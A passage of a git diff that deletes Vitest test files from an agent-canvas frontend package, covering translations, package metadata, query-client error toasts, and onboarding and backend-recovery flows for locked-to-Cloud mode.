keys from #1218 translated', () => { - const keys = [ - 'SETTINGS$SAVE_AND_RECONNECT', - 'SETTINGS$MCP_ERROR_URL_DUPLICATE', - 'SETTINGS$MCP_ERROR_ENV_INVALID_FORMAT', - ]; - - keys.forEach((key) => { - const translations = translationJson[key]; - expect(translations, `missing key ${key}`).toBeDefined(); - ['ja', 'zh-CN', 'fr'].forEach((lang) => { - expect( - translations[lang], - `${key} is not translated for ${lang}`, - ).not.toBe(translations.en); - }); - }); - }); - - it('preserves interpolation placeholders in every translation', () => { - const mismatches: string[] = []; - - Object.entries(translationJson).forEach(([key, translations]) => { - const expected = getPlaceholders(translations.en ?? '').join(','); - - Object.entries(translations).forEach(([lang, value]) => { - if (lang === 'en') { - return; - } - if (getPlaceholders(value).join(',') !== expected) { - mismatches.push(`${key} (${lang})`); - } - }); - }); - - expect(mismatches).toEqual([]); - }); -}); diff --git a/__tests__/initial-query.test.tsx b/__tests__/initial-query.test.tsx deleted file mode 100644 index f6c56f26c..000000000 --- a/__tests__/initial-query.test.tsx +++ /dev/null @@ -1,24 +0,0 @@ -import { describe, it, expect, beforeEach } from "vitest"; -import { useInitialQueryStore } from "../src/stores/initial-query-store"; - -describe("Initial Query Behavior", () => { - beforeEach(() => { - // Reset the store before each test - useInitialQueryStore.getState().reset(); - }); - - it("should clear initial query when clearInitialPrompt is called", () => { - const { setInitialPrompt, clearInitialPrompt, initialPrompt } = - useInitialQueryStore.getState(); - - // Set up initial query in the store - setInitialPrompt("test query"); - expect(useInitialQueryStore.getState().initialPrompt).toBe("test query"); - - // Clear the initial query - clearInitialPrompt(); - - // Verify initial query is cleared - expect(useInitialQueryStore.getState().initialPrompt).toBeNull(); - }); -}); diff --git a/__tests__/library-entrypoints.test.ts b/__tests__/library-entrypoints.test.ts deleted file mode 100644 index 88ac7700e..000000000 --- a/__tests__/library-entrypoints.test.ts +++ /dev/null @@ -1,49 +0,0 @@ -import * as publicApi from "../src/index"; -import * as browserApi from "../src/components/browser/index"; -import * as conversationApi from "../src/components/conversation/index"; -import * as filesApi from "../src/components/files/index"; -import * as settingsApi from "../src/components/settings/index"; -import * as sidebarApi from "../src/components/sidebar/index"; -import * as terminalApi from "../src/components/terminal/index"; -import { describe, expect, it } from "vitest"; - -describe("library public entrypoints", () => { - it("re-exports the primary library surface from the root entry", () => { - expect(publicApi.ConversationView).toBeTypeOf("function"); - expect(publicApi.ChatPanel).toBeTypeOf("function"); - expect(publicApi.TerminalPanel).toBeTypeOf("function"); - expect(publicApi.BrowserPanel).toBeTypeOf("function"); - expect(publicApi.FileExplorer).toBeTypeOf("function"); - expect(publicApi.SettingsPanel).toBeTypeOf("function"); - expect(publicApi.LLMSettings).toBeTypeOf("function"); - expect(publicApi.Sidebar).toBeTypeOf("function"); - expect(publicApi.ConversationPanel).toBeTypeOf("function"); - expect(publicApi.AgentServerUIProviders).toBeTypeOf("function"); - expect(publicApi.AgentServerUIRoot).toBeTypeOf("function"); - expect(publicApi.AGENT_SERVER_UI_SCOPE_SELECTOR).toBe( - "[data-agent-server-ui]", - ); - expect(publicApi.AGENT_SERVER_UI_DEFAULT_THEME).toBe("dark"); - }); - - it("keeps each component-domain barrel importable", () => { - expect(conversationApi.ConversationView).toBeTypeOf("function"); - expect(conversationApi.ChatPanel).toBeTypeOf("function"); - expect(browserApi.BrowserPanel).toBeTypeOf("function"); - expect(terminalApi.TerminalPanel).toBeTypeOf("function"); - expect(filesApi.FileExplorer).toBeTypeOf("function"); - expect(settingsApi.SettingsPanel).toBeTypeOf("function"); - expect(settingsApi.AppSettings).toBeTypeOf("function"); - expect(settingsApi.LLMSettings).toBeTypeOf("function"); - expect(settingsApi.MCPSettings).toBeTypeOf("function"); - expect(settingsApi.SecretsSettings).toBeTypeOf("function"); - expect(sidebarApi.Sidebar).toBeTypeOf("function"); - expect(sidebarApi.ConversationPanel).toBeTypeOf("function"); - }); - - it("no longer exposes the removed AgentServerSettings entry", () => { - expect( - (settingsApi as Record).AgentServerSettings, - ).toBeUndefined(); - }); -}); diff --git a/__tests__/package-library.test.ts b/__tests__/package-library.test.ts deleted file mode 100644 index 00e41df32..000000000 --- a/__tests__/package-library.test.ts +++ /dev/null @@ -1,132 +0,0 @@ -// @vitest-environment node -import { readFileSync } from "node:fs"; -import { resolve } from "node:path"; -import { describe, expect, it } from "vitest"; - -const packageJson = JSON.parse( - readFileSync(resolve(__dirname, "../package.json"), "utf8"), -) as { - name: string; - main: string; - module: string; - types: string; - exports: Record; - scripts: Record; - dependencies?: Record; - devDependencies?: Record; -}; - -const EXACT_SEMVER_PATTERN = - /^\d+\.\d+\.\d+(?:-[0-9A-Za-z.-]+)?(?:\+[0-9A-Za-z.-]+)?$/; - -describe("package library metadata", () => { - const ALLOWED_STACK_PIN_DEPS = new Set([ - "@openhands/extensions", - "@openhands/typescript-client", - ]); - - it("publishes the agent-canvas package entrypoints", () => { - expect(packageJson.name).toBe("@openhands/agent-canvas"); - expect(packageJson.main).toBe("./dist/index.cjs"); - expect(packageJson.module).toBe("./dist/index.js"); - expect(packageJson.types).toBe("./dist/index.d.ts"); - expect(packageJson.exports).toMatchObject({ - ".": { - types: "./dist/index.d.ts", - import: "./dist/index.js", - require: "./dist/index.cjs", - }, - "./conversation": { - types: "./dist/components/conversation/index.d.ts", - import: "./dist/components/conversation/index.js", - require: "./dist/components/conversation/index.cjs", - }, - "./settings": { - types: "./dist/components/settings/index.d.ts", - import: "./dist/components/settings/index.js", - require: "./dist/components/settings/index.cjs", - }, - "./terminal": { - types: "./dist/components/terminal/index.d.ts", - import: "./dist/components/terminal/index.js", - require: "./dist/components/terminal/index.cjs", - }, - "./i18n": { - types: "./dist/i18n/index.d.ts", - import: "./dist/i18n/index.js", - require: "./dist/i18n/index.cjs", - }, - }); - }); - - // Git dependencies break `npm install -g` because npm clones the repo and - // runs the prepare script without devDependencies. All packages should be - // referenced from a registry. @openhands/extensions is allowed until it is - // published to npm; @openhands/typescript-client is temporarily allowed while - // this stacked PR waits for the subscription client branch to merge/release. - // TODO(#917): remove @openhands/typescript-client exemption once - // OpenHands/typescript-client#178 merges and publishes to npm. - it("does not use git dependencies except approved stack pins", () => { - const GIT_DEP_PATTERN = - /^(git[+:]|github:|bitbucket:|gitlab:|[a-zA-Z0-9_-]+\/)/; - const allDeps = { - ...packageJson.dependencies, - ...packageJson.devDependencies, - }; - - const violations = Object.entries(allDeps) - .filter( - ([name, version]) => - GIT_DEP_PATTERN.test(version) && !ALLOWED_STACK_PIN_DEPS.has(name), - ) - .map(([name, version]) => `${name}: ${version}`); - - expect(violations).toEqual([]); - }); - - it("pins direct dependency versions exactly", () => { - const allDepsBySection = { - dependencies: packageJson.dependencies, - devDependencies: packageJson.devDependencies, - }; - - const violations = Object.entries(allDepsBySection).flatMap( - ([section, dependencies]) => - Object.entries(dependencies ?? {}) - .filter( - ([name, version]) => - !EXACT_SEMVER_PATTERN.test(version) && - !ALLOWED_STACK_PIN_DEPS.has(name), - ) - .map(([name, version]) => `${section}.${name}: ${version}`), - ); - - expect(violations).toEqual([]); - }); - - it("ships runtime logger dependencies for the published CLI", () => { - expect(packageJson.dependencies).toMatchObject({ - winston: "3.19.0", - "winston-daily-rotate-file": "5.0.0", - }); - expect(packageJson.devDependencies?.winston).toBeUndefined(); - expect( - packageJson.devDependencies?.["winston-daily-rotate-file"], - ).toBeUndefined(); - }); - - it("uses local dev commands without Docker", () => { - expect(packageJson.scripts.dev).toBe( - "node --env-file-if-exists=.env scripts/dev-with-automation.mjs", - ); - expect(packageJson.scripts["dev:static"]).toBe( - "node --env-file-if-exists=.env scripts/dev-static.mjs", - ); - expect(packageJson.scripts["dev:minimal"]).toBe( - "node --env-file-if-exists=.env scripts/dev-safe.mjs", - ); - expect(packageJson.scripts["dev:docker"]).toBeUndefined(); - expect(packageJson.scripts["dev:docker:dynamic"]).toBeUndefined(); - expect(packageJson.scripts["dev:dangerously-dockerless"]).toBeUndefined(); - }); -}); diff --git a/__tests__/query-client-config.test.ts b/__tests__/query-client-config.test.ts deleted file mode 100644 index 743adce6e..000000000 --- a/__tests__/query-client-config.test.ts +++ /dev/null @@ -1,92 +0,0 @@ -import { AxiosError } from "axios"; -import { afterEach, describe, expect, it, vi } from "vitest"; -import { createAgentServerQueryClient } from "#/query-client-config"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import * as ToastHandlers from "#/utils/custom-toast-handlers"; - -afterEach(() => { - window.localStorage.clear(); - window.sessionStorage.clear(); - __resetActiveStoreForTests(); - vi.restoreAllMocks(); -}); - -describe("createAgentServerQueryClient", () => { - it("does not show a toast when query meta disables toasts", async () => { - const toastSpy = vi.spyOn(ToastHandlers, "displayErrorToast"); - const client = createAgentServerQueryClient(); - - await expect( - client.fetchQuery({ - queryKey: ["config", "suppressed"], - queryFn: async () => { - throw new AxiosError("suppressed query error"); - }, - meta: { disableToast: true }, - retry: false, - }), - ).rejects.toThrow("suppressed query error"); - - expect(toastSpy).not.toHaveBeenCalled(); - }); - - it("shows a toast when query meta does not disable toasts", async () => { - const toastSpy = vi.spyOn(ToastHandlers, "displayErrorToast"); - const client = createAgentServerQueryClient(); - - await expect( - client.fetchQuery({ - queryKey: ["config", "toast"], - queryFn: async () => { - throw new AxiosError("query error with toast"); - }, - retry: false, - }), - ).rejects.toThrow("query error with toast"); - - expect(toastSpy).toHaveBeenCalledWith("query error with toast"); - }); - - it("does not show raw 401 toasts while the active cloud backend is logged out", async () => { - const toastSpy = vi.spyOn(ToastHandlers, "displayErrorToast"); - const backend = { - id: "cloud-expired", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([backend]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: backend.id, orgId: null }), - ); - window.sessionStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: backend.id, orgId: null }), - ); - __resetActiveStoreForTests(); - const client = createAgentServerQueryClient(); - - await expect( - client.fetchQuery({ - queryKey: ["cloud", "logged-out"], - queryFn: async () => { - throw new AxiosError( - "Request failed with status code 401", - "ERR_BAD_REQUEST", - undefined, - undefined, - { status: 401 } as never, - ); - }, - retry: false, - }), - ).rejects.toThrow("Request failed with status code 401"); - - expect(toastSpy).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/root.test.tsx b/__tests__/root.test.tsx deleted file mode 100644 index a4908d28d..000000000 --- a/__tests__/root.test.tsx +++ /dev/null @@ -1,823 +0,0 @@ -import { fireEvent, render, screen, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { createRoutesStub } from "react-router"; -import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; -import { http, HttpResponse } from "msw"; -import App, { links } from "#/root"; -import { server } from "#/mocks/node"; -import { __resetActiveStoreForTests } from "#/api/backend-registry/active-store"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { ONBOARDING_COMPLETED_STORAGE_KEY } from "#/components/features/onboarding/use-onboarding-completion"; - -const TRANSLATIONS: Record = { - BACKEND$MANAGE_TITLE: "Manage backends", - BACKEND$RECONNECT_CLOUD_TITLE: "Reconnect to Cloud", - BACKEND$RECONNECT_CLOUD: "Reconnect to Cloud", - BACKEND$MANAGE_EMPTY: "No backends yet.", - BACKEND$ADD: "+ Add Backend", - BACKEND$LOG_BACK_IN: "Log back in", - BACKEND$LOGGED_OUT: "Logged out", - BACKEND$KIND_LOCAL: "Local", - BACKEND$KIND_CLOUD: "Cloud", - BACKEND$EDIT: "Edit", - BACKEND$REMOVE: "Remove", - HOME$DONE: "Done", -}; - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string, options?: Record) => { - let value = TRANSLATIONS[key] ?? key; - for (const [optionKey, optionValue] of Object.entries(options ?? {})) { - value = value.replaceAll(`{{${optionKey}}}`, String(optionValue)); - } - return value; - }, - }), -})); - -vi.mock("#/components/features/onboarding/onboarding-modal", async () => { - const React = await import("react"); - const { useNavigation } = await import("#/context/navigation-context"); - - return { - OnboardingModal: ({ onClose }: { onClose: () => void }) => { - const { navigate } = useNavigation(); - return React.createElement( - "div", - { "data-testid": "onboarding-modal" }, - React.createElement("div", { - "data-testid": "onboarding-step-check-backend", - }), - React.createElement( - "button", - { - type: "button", - "data-testid": "mock-onboarding-launch", - onClick: () => { - navigate("/conversations/mock-conversation"); - onClose(); - }, - }, - "Launch conversation", - ), - ); - }, - }; -}); - -const ORIGINAL_LOCATION = window.location; - -const RouterStub = createRoutesStub([ - { - Component: App, - path: "/", - children: [ - { - Component: () =>
    app outlet
    , - path: "/", - }, - { - Component: () => ( -
    conversation outlet
    - ), - path: "/conversations/:conversationId", - }, - ], - }, -]); - -const renderApp = (initialEntries: string[] = ["/"]) => - render(, { - wrapper: ({ children }) => ( - - {children} - - ), - }); - -describe("App root agent-server availability guard", () => { - beforeEach(() => { - window.localStorage.clear(); - vi.unstubAllEnvs(); - delete (window as unknown as Record) - .__AGENT_CANVAS_AUTH_REQUIRED__; - delete (window as unknown as Record) - .__AGENT_CANVAS_LOCK_TO_CLOUD__; - ( - window as unknown as Record - ).__AGENT_CANVAS_SESSION_API_KEY__ = "test-session-key"; - __resetActiveStoreForTests(); - }); - - afterEach(() => { - Object.defineProperty(window, "location", { - configurable: true, - value: ORIGINAL_LOCATION, - }); - }); - - it("shows first-run onboarding before the auth gate when public mode has no backend key", async () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "true"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.clear(); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - await screen.findByTestId("onboarding-step-check-backend"), - ).toBeInTheDocument(); - expect( - screen.queryByTestId("api-key-entry-screen"), - ).not.toBeInTheDocument(); - }); - - it("shows first-run onboarding before the recovery modal when no backend is configured", async () => { - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.clear(); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-server-onboarding-screen"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - }); - - it("lets root-level onboarding navigate to the launched conversation before closing", async () => { - server.use( - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.28.1" }), - ), - ); - - renderApp(["/"]); - - fireEvent.click(await screen.findByTestId("mock-onboarding-launch")); - - await waitFor(() => { - expect(screen.getByTestId("conversation-outlet")).toBeInTheDocument(); - }); - expect(window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY)).toBe( - "1", - ); - expect( - screen.queryByTestId("first-run-onboarding-screen"), - ).not.toBeInTheDocument(); - }); - - it("shows first-run onboarding before the recovery modal when locked to Cloud with no backend", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.clear(); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-server-onboarding-screen"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - }); - - it("shows first-run onboarding when locked to Cloud even if a session API key is baked in", async () => { - // Reproduces Hiep's report on PR #1389: a pre-built bundle with a baked-in - // VITE_SESSION_API_KEY plus --lock-to-cloud used to seed a disconnected - // Local backend, which skipped onboarding and landed on the Manage Backends - // recovery modal. Locked mode must not seed a Local backend, so onboarding - // still owns the first-run Cloud login. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", "baked-session-key"); - ( - window as unknown as Record - ).__AGENT_CANVAS_SESSION_API_KEY__ = "baked-session-key"; - window.localStorage.clear(); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-server-onboarding-screen"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - // No Local backend should have been seeded into the registry. - expect(window.localStorage.getItem("openhands-backends")).toBeNull(); - }); - - it("shows first-run onboarding when locked to Cloud with a stale persisted Local backend", async () => { - // A Local backend persisted from a previous non-locked session must not - // bypass onboarding once the deployment is locked to Cloud. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([ - { - id: "default-local", - name: "Local", - host: "http://127.0.0.1:8000", - apiKey: "stale-key", - kind: "local", - }, - ]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: "default-local", orgId: null }), - ); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - }); - - it("forces first-run onboarding in locked mode even when a stale Local backend reports a configured LLM", async () => { - // Critical regression for PR #1389 review: in locked-to-Cloud mode the - // stale Local backend must not bypass onboarding, even when it happens - // to report a configured LLM. The user must be routed through the Cloud - // login / replacement flow instead. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([ - { - id: "user-added-local", - name: "My agent-server", - host: "http://127.0.0.1:8000", - apiKey: "stale-key", - kind: "local", - }, - ]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: "user-added-local", orgId: null }), - ); - __resetActiveStoreForTests(); - server.use( - http.get("*/api/settings", () => - HttpResponse.json({ - llm_api_key_is_set: true, - agent_settings: { - llm: { model: "openai/gpt-5.5", api_key: "stored" }, - }, - }), - ), - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.28.1" }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - // Backend readiness must NOT persist onboarding completion. - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("forces first-run onboarding in locked mode when a Cloud backend points at a different host with a configured LLM", async () => { - // Companion to the stale-Local test: a Cloud backend on a *different* - // host than the locked Cloud host must also be forced through - // onboarding, even if it reports a configured LLM. `kind === "cloud"` - // alone is not enough — the host must match the locked host. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - const otherCloud = { - id: "other-cloud", - name: "Other Cloud", - host: "https://other-cloud.example.com", - apiKey: "other-token", - kind: "cloud", - }; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([otherCloud]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: otherCloud.id, orgId: null }), - ); - __resetActiveStoreForTests(); - server.use( - http.get("*/api/settings", () => - HttpResponse.json({ - llm_api_key_set: true, - agent_settings: { - llm: { model: "openai/gpt-5.5" }, - }, - }), - ), - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.28.1" }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("shows first-run onboarding when locked to Cloud even if onboarding was previously completed", async () => { - // Reproduces hieptl's report on PR #1389: the user had previously - // completed onboarding in a non-locked session (so the - // `openhands-onboarded` localStorage flag is set), then relaunched the - // static server with --lock-to-cloud. The stale completion flag used to - // suppress first-run onboarding, so the app fell through to the Manage - // Backends recovery modal ("Add Backend") instead of going straight to - // Cloud login. In locked-to-Cloud mode the completion flag must not - // bypass onboarding when the active backend is not a connected Cloud - // backend. - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.clear(); - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect( - screen.queryByTestId("agent-server-onboarding-screen"), - ).not.toBeInTheDocument(); - expect( - screen.queryByTestId("manage-backends-modal"), - ).not.toBeInTheDocument(); - }); - - it("shows the auth gate after onboarding was already completed", async () => { - vi.stubEnv("VITE_AUTH_REQUIRED", "true"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - window.localStorage.clear(); - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect(screen.getByTestId("api-key-entry-screen")).toBeInTheDocument(); - }); - expect(screen.queryByTestId("onboarding-modal")).not.toBeInTheDocument(); - }); - - it("shows the manage-backends modal when the connected server reports an old version", async () => { - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - server.use( - http.get("/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.27.1" }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("agent-server-onboarding-screen"), - ).toBeInTheDocument(); - }); - - await waitFor(() => { - expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument(); - }); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("shows the manage-backends modal when the server omits a version field", async () => { - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - server.use( - http.get("/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0 }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("agent-server-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("shows the manage-backends modal when the backend is unreachable", async () => { - let serverInfoRequests = 0; - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - - // Use "*" prefix to match both relative paths and absolute URLs (e.g., - // http://127.0.0.1:8000/server_info) when VITE_BACKEND_BASE_URL is configured. - server.use( - http.get("*/server_info", () => { - serverInfoRequests += 1; - return HttpResponse.error(); - }), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("agent-server-onboarding-screen"), - ).toBeInTheDocument(); - }); - - // The onboarding placeholder now hosts the Manage Backends modal - // directly so the user can edit/add a backend immediately. The - // modal additionally probes /server_info per registered backend - // for its status dot + version label, so the request count is - // bounded but greater than the single config probe. - await waitFor(() => { - expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument(); - }); - expect(serverInfoRequests).toBeGreaterThanOrEqual(1); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("shows the manage-backends recovery modal when the active cloud backend is logged out", async () => { - const cloudBackend = { - id: "cloud-expired", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([cloudBackend]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: cloudBackend.id, orgId: null }), - ); - window.sessionStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: cloudBackend.id, orgId: null }), - ); - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - __resetActiveStoreForTests(); - server.use( - http.get("https://app.all-hands.dev/api/keys/current", () => - HttpResponse.json({ detail: "NoCredentialsError" }, { status: 401 }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("agent-server-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(screen.getByTestId("manage-backends-modal")).toBeInTheDocument(); - expect(screen.getByText("Logged out")).toBeInTheDocument(); - expect( - screen.getByRole("button", { name: "Log back in" }), - ).toBeInTheDocument(); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("shows locked Cloud reconnect recovery without add-backend controls", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - const cloudBackend = { - id: "cloud-expired", - name: "OpenHands Cloud", - host: "https://app.all-hands.dev", - apiKey: "expired-token", - kind: "cloud", - }; - window.localStorage.setItem( - "openhands-backends", - JSON.stringify([cloudBackend]), - ); - window.localStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: cloudBackend.id, orgId: null }), - ); - window.sessionStorage.setItem( - "openhands-active-backend", - JSON.stringify({ backendId: cloudBackend.id, orgId: null }), - ); - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - __resetActiveStoreForTests(); - server.use( - http.get("https://app.all-hands.dev/api/keys/current", () => - HttpResponse.json({ detail: "NoCredentialsError" }, { status: 401 }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByRole("heading", { name: "Reconnect to Cloud" }), - ).toBeInTheDocument(); - }); - expect(screen.queryByTestId("manage-backends-add")).not.toBeInTheDocument(); - expect( - screen.getByTestId("manage-backends-reconnect-cloud-login-button"), - ).toHaveTextContent("Reconnect to Cloud"); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - }); - - it("renders the routed page when the agent server is reachable", async () => { - window.localStorage.setItem(ONBOARDING_COMPLETED_STORAGE_KEY, "1"); - - renderApp(["/"]); - - await waitFor(() => { - expect(screen.getByTestId("app-outlet")).toBeInTheDocument(); - }); - - expect( - screen.queryByTestId("agent-server-onboarding-screen"), - ).not.toBeInTheDocument(); - }); - - it("shows first-run onboarding for the launcher-seeded default-local backend even when the agent-server reports a configured LLM", async () => { - // Regression for mock-llm-onboarding-regressions.spec.ts:16 - // ("keeps the modal open on backdrop click and Escape") and - // mock-llm-auth-modes.spec.ts:57 ("reaches the onboarding modal - // without pre-seeded localStorage"). The shared mock-LLM - // agent-server retains a previously-configured LLM across browser - // sessions, so a genuinely fresh browser install (launcher-seeded - // default-local backend, no `openhands-onboarded` flag) must NOT - // have onboarding auto-marked complete by backend readiness. - vi.stubEnv("VITE_BACKEND_BASE_URL", "http://127.0.0.1:8000"); - vi.stubEnv("VITE_SESSION_API_KEY", "test-session-key"); - // The launcher-seeded default-local backend (id - // SEEDED_DEFAULT_BACKEND_ID) is created from these env stubs by - // readStoredBackends(). - __resetActiveStoreForTests(); - server.use( - http.get("*/api/settings", () => - HttpResponse.json({ - llm_api_key_is_set: true, - agent_settings: { - llm: { model: "openai/gpt-5.5", api_key: "stored" }, - }, - }), - ), - http.get("*/server_info", () => - HttpResponse.json({ uptime: 0, idle_time: 0, version: "1.28.1" }), - ), - ); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - expect(screen.queryByTestId("app-outlet")).not.toBeInTheDocument(); - - expect( - window.localStorage.getItem(ONBOARDING_COMPLETED_STORAGE_KEY), - ).toBeNull(); - }); - - it("renders Cloud login directly for a fresh locked-to-Cloud first run", async () => { - vi.stubEnv("VITE_LOCK_TO_CLOUD", "https://app.all-hands.dev"); - vi.stubEnv("VITE_SESSION_API_KEY", ""); - delete (window as unknown as Record) - .__AGENT_CANVAS_SESSION_API_KEY__; - __resetActiveStoreForTests(); - - renderApp(["/"]); - - await waitFor(() => { - expect( - screen.getByTestId("first-run-onboarding-screen"), - ).toBeInTheDocument(); - }); - - expect(await screen.findByTestId("onboarding-modal")).toBeInTheDocument(); - expect(screen.getByTestId("add-backend-cloud-title")).toBeVisible(); - expect(screen.getByTestId("add-backend-login-button")).toBeVisible(); - expect( - screen.queryByTestId("onboarding-step-check-backend"), - ).not.toBeInTheDocument(); - expect( - 